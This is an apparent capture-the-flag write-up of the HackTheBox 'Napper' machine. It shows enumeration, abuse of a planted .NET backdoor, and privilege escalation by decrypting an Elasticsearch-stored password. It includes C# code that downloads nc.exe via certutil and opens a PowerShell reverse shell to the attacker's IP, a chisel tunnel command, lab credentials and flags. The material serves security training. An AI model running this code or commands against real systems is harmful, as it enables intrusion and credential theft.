Nmap Results
# Nmap 7.94SVN scan initiated Fri Feb 23 23:45:12 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt 10.10.11.240
Nmap scan report for 10.10.11.240
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2024-02-24T04:46:34+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_http-title: Research Blog | Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -8s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 306.91 ms 10.10.14.1
2 309.01 ms 10.10.11.240
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 23 23:46:42 2024 -- 1 IP address (1 host up) scanned in 89.92 seconds
We can see app.napper.htb
in the HTTP
redirect, so let's go ahead and add that to our /etc/hosts
file.
echo '10.10.11.240 app.napper.htb' | sudo tee -a /etc/hosts
Service Enumeration
TCP/443
Gobuster Enumeration
Directory and File Enumeration
gobuster dir -k -u https://app.napper.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,asp,aspx,txt -o gobuster-443.txt -t 100
Virtual Host Enumeration
gobuster vhost -k --domain napper.htb --append-domain -u https://10.10.11.240 -w /usr/share/dnsrecon/subdomains-top1mil.txt -t 20 -o vhost.txt --exclude-length 334
Let's get this new virtual host added to our /etc/hosts
file.
echo '10.10.11.240 internal.napper.htb' | sudo tee -a /etc/hosts
internal.napper.htb
Finding a Valid Credential
We don't have a credential, so let's hunt around on app.napper.htb
(and elsewhere) for some potential leads.
In Step 6
we can see the username example
and password ExamplePassword
. And, I'm sure you're thinking, "There's no way that's the actual login," but we should certainly give it a try.
The HTTP 200
means we're in!
Exploring the Site Contents
It seems like there may be a way to achieve code execution on the target based on the malware assessment and indications that the malware sample may be running locally.
This means that any web request to/ews/MsExgHealthCheckd/
that contains a base64-encoded .NET assembly in thesdafwe3rwe23
parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.
Finding the Sandbox
The malware research article on internal.napper.htb
indicates that the malware is being hosted in a sandbox. I suspect this host name will be sandbox.napper.htb
.
echo '10.10.11.240 sandbox.napper.htb' | sudo tee -a /etc/hosts
If we reference the malware research linked in the References section of the internal article, we can better understand how to know when we've found the correct server name and page.
To summarize:
- To hide itself, the malware will respond with a generic
HTTP 404
response when an unexpected request is received, and with theServer
header ofMicrosoft-IIS/10.0
- The malware is expecting a
HTTP POST
request to/ews/MsExgHealthCheckd/?sdafwe3rwe23
on the server name where the malware is listening. Thesdafwe3rwe
parameter is expecting a base64-encoded .NET assembly as input and the .NET assembly should contain a Run method - If the malware receives a
HTTP POST
request to/ews/MsExgHealthCheckd/?sdafwe3rwe23
with data in thePOST
body, it will parse the data and flush. It will also respond with aServer
header ofMicrosoft-IIS/10.0 Microsoft-HTTPAPI/2.0
. - We'll know we've found the correct hostname and path when we see
Server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0
upon sending aHTTP POST
request
Exploit
Testing Command Execution
C#
developer, so I relied heavily on ChatGPT and Bing AI to create and debug this script. It went through many iterations to get to this point.This .NET assembly will spawn a process with arguments. In this case, spawn ping
with my HackTheBox VPN IP address as the argument. Since my file is named sh.cs
, I'll want my namespace
to match the file name at compile.
sh.cs
using System;
using System.Diagnostics;
namespace sh
{
public class Run
{
public Run()
{
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "ping"; // Command to execute
psi.Arguments = "10.10.14.39"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
public static void Main()
{
new Run();
}
}
}
To compile the app, we can use the mcs
tool found in mono-devel
.
Reverse Shell
sh.cs
using System;
using System.Diagnostics;
namespace sh
{
public class Run
{
public Run()
{
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "certutil"; // Command to execute
psi.Arguments = "-f -split -urlcache http://10.10.14.39/nc.exe C:\\Windows\\Tasks\\nc.exe"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
try
{
// Create process start info
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "C:\\Windows\\Tasks\\nc.exe"; // Command to execute
psi.Arguments = "10.10.14.39 443 -e powershell.exe"; // IP address to ping
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
// Start the process
using (Process process = Process.Start(psi))
{
// Read the output (ping results)
using (System.IO.StreamReader reader = process.StandardOutput)
{
string result = reader.ReadToEnd();
Console.WriteLine(result);
}
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
public static void Main()
{
new Run();
}
}
}
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Host Name: NAPPER
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: ruben
Registered Organization:
Product ID: 00330-80112-18556-AA262
Original Install Date: 6/7/2023, 12:21:37 PM
System Boot Time: 4/17/2024, 11:49:24 PM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 1,593 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 2,300 MB
Virtual Memory: In Use: 2,499 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: No
IP address(es)
[01]: 10.10.11.240
[02]: fe80::9bc5:77d9:9d6d:409e
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Current User
USER INFORMATION
----------------
User Name SID
============ ==============================================
napper\ruben S-1-5-21-1567175541-2888103920-4161894620-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
ERROR: Unable to get user claims information.
Users and Groups
Local Users
User accounts for \\NAPPER
-------------------------------------------------------------------------------
Administrator backup DefaultAccount
example Guest ruben
WDAGUtilityAccount
Local Groups
Aliases for \\NAPPER
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users
Network Configurations
Network Interfaces
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9bc5:77d9:9d6d:409e%10
IPv4 Address. . . . . . . . . . . : 10.10.11.240
Subnet Mask . . . . . . . . . . . : 255.255.252.0
Default Gateway . . . . . . . . . : 10.10.10.2
Open Ports
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 900
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5356
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 668
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 536
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1096
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1520
TCP 0.0.0.0:61807 0.0.0.0:0 LISTENING 660
TCP 10.10.11.240:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:9200 0.0.0.0:0 LISTENING 4880
TCP 127.0.0.1:9300 0.0.0.0:0 LISTENING 4880
TCP [::]:135 [::]:0 LISTENING 900
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 668
TCP [::]:49665 [::]:0 LISTENING 536
TCP [::]:49666 [::]:0 LISTENING 1096
TCP [::]:49667 [::]:0 LISTENING 1520
TCP [::]:61807 [::]:0 LISTENING 660
Processes and Services
Interesting Processes
Name : powershell.exe
Owner :
CommandLine : "powershell.exe" -File C:\Users\ruben\AppData\System32\iis.ps1
Name : RunA.exe
Owner :
CommandLine : c:\users\ruben\appdata\System32\RunA.exe C:\Users\ruben\AppData\Local\Temp\tmp2FAB.tmp
Name : elasticsearch-service-x64.exe
Owner :
CommandLine :
Scheduled Tasks
Interesting Scheduled Tasks
TaskName: \iisHelper
Task To Run: powershell.exe -File C:\Users\ruben\AppData\System32\iis.ps1
Run As User: ruben
Interesting Files
C:\Temp\www\internal\content\posts\no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.
IT will deploy the decryption client to the admin desktops once it it ready.
We do expect the development to be ready soon. The Malware RE team will be the first test group.
C:\Temp\www\internal\content\posts\internal-laps-alpha\.env
ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here
ELASTICURI=https://127.0.0.1:9200
Privilege Escalation
Looking at the all of the information gathered from post-exploit enumeration, it was quite obvious that the next move involved Elasticsearch running on tcp/9200
. I've had some experience with the Elastic stack, due to playing around with SIEM solutions in my home lab.
Port Forwarding
Chisel Reverse SOCKS5 Proxy
For this task, I am going to be using the chisel
binary. I have a nice overview of different port forwarding scenarios here in my notes.
download_chisel()
function that I wrote in my notes to download the latest version of chisel
# Use a PowerShell job to run chisel.exe in the background
# Connects to chisel server 10.10.14.2:8081
# Running in reverse SOCKS mode to facilitate multiple ports
$scriptBlock = { Start-Process C:\Windows\Tasks\chisel.exe -ArgumentList @('client','10.10.14.2:8081','R:58080:socks') }
Start-Job -ScriptBlock $scriptBlock
Add the SOCKS Proxy to Burp
This setting is persistent in Burp, so if you do not disable it and start up Burp next time, you'll likely be scratching your head wondering why Burp can't get to the internet
Exploring Elasticsearch
We're going to need to understand the inner-workings of the
a.exe
binary.Transfer the Binary to Kali
Analyze the Binary
Ghidra Binary Analysis
Building a Golang Decyptor
Here's what we know about the app based on the Ghidra analysis:
- The
main.genKey
function generates an 8-digit seed to derive an AES-128-CFB encryption key - The
main.encrypt
function then generates the encryption key and encrypts the plaintext string into cipher text - The
main.main
function calls both of these functions and forms someJSON
to send to Elasticsearch for storage- The
seed
and the encryptedblob
are both stored in the database
- The
ChatGPT Initial Prompt
I am reverse-engineering a binary written in Golang that encrypts a string using an AES CFB cipher. I want to share with you some information from Ghidra in hopes you might be able to assist.
Follow-Up Prompt
This is the encryption key generation function as reversed using Ghidra:
Paste contents from main.genKey
in Ghidra into ChatGPT
Follow-Up Prompt
This is the encryption function as reversed using Ghidra:
Paste contents from main.encrypt
in Ghidra into ChatGPT
Follow-Up Prompt
Now, here's the part I need your help with. I know the
seed
that was used to derive the encryption key. And, I have the ciphertext. Can you make a best effort to reconstruct the originalmain.genKey
functions andmain.encrypt
, such that if give you the seed and the URL-safe base64-encoded ciphertext, you can write a Golang code snippet to derive another encryption key using the same seed and decrypt the URL-safe base64-encoded ciphertext?Let me clarify that I do not need an encrypt function. I simply need to share with you the seed used to derive the AES CFB key, so that another encryption key can be derived and decrypt the URL-safe base64-encoded ciphertext.
Seed:
paste_seed_here
Base64-encoded ciphertext:paste_base64_blob_here
crypto/rand
library, but the a.exe
binary uses math/rand
, so I swapped that out due to errorsdecrypt.go
package main
import (
"crypto/aes"
"crypto/cipher"
"math/rand"
"encoding/base64"
"fmt"
)
func genKey(seed int64) []byte {
rand.Seed(seed)
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(rand.Intn(0xfe) + 1)
}
return key
}
func decrypt(seed int64, ciphertext string) (string, error) {
key := genKey(seed)
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
decodedCiphertext, err := base64.URLEncoding.DecodeString(ciphertext)
if err != nil {
return "", err
}
iv := decodedCiphertext[:aes.BlockSize]
decodedCiphertext = decodedCiphertext[aes.BlockSize:]
plaintext := make([]byte, len(decodedCiphertext))
cfb := cipher.NewCFBDecrypter(block, iv)
cfb.XORKeyStream(plaintext, decodedCiphertext)
return string(plaintext), nil
}
func main() {
seed := int64(...) // Replace with the actual seed
ciphertext := "..." // Replace with actual b64 ciphertext
plaintext, err := decrypt(seed, ciphertext)
if err != nil {
fmt.Println("Decryption error:", err)
return
}
fmt.Println("Decrypted plaintext:", plaintext)
}
seed
and blob
rotate at regular intervals. So if you decrypt the ciphertext, but get a login error, refresh the page, update decrypt.go
with the new seed
and blog
and try again.curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | grep -E 'seed|blob'
# Update the seed in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep '^"seed' | cut -d ':' -f 2 | xargs -I % sed -i -e 's/seed\ :=\ int64\(.*\)$/seed := int64(%)/g' decrypt.go
# Update blob in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep blob | cut -d ':' -f 2 | sed -E 's/"|,//g' | xargs -I % sed -i -E -e 's/ciphertext\ :=\ ".*"/ciphertext := "%"/g' decrypt.go
Lateral to Backup
nc.exe
on the box, I'll just use that to pivot to the backup
userFlags
User
d5d29b66505183aa59402e833d512db3
Root
a9985c6c07bc7ba61958e46483919699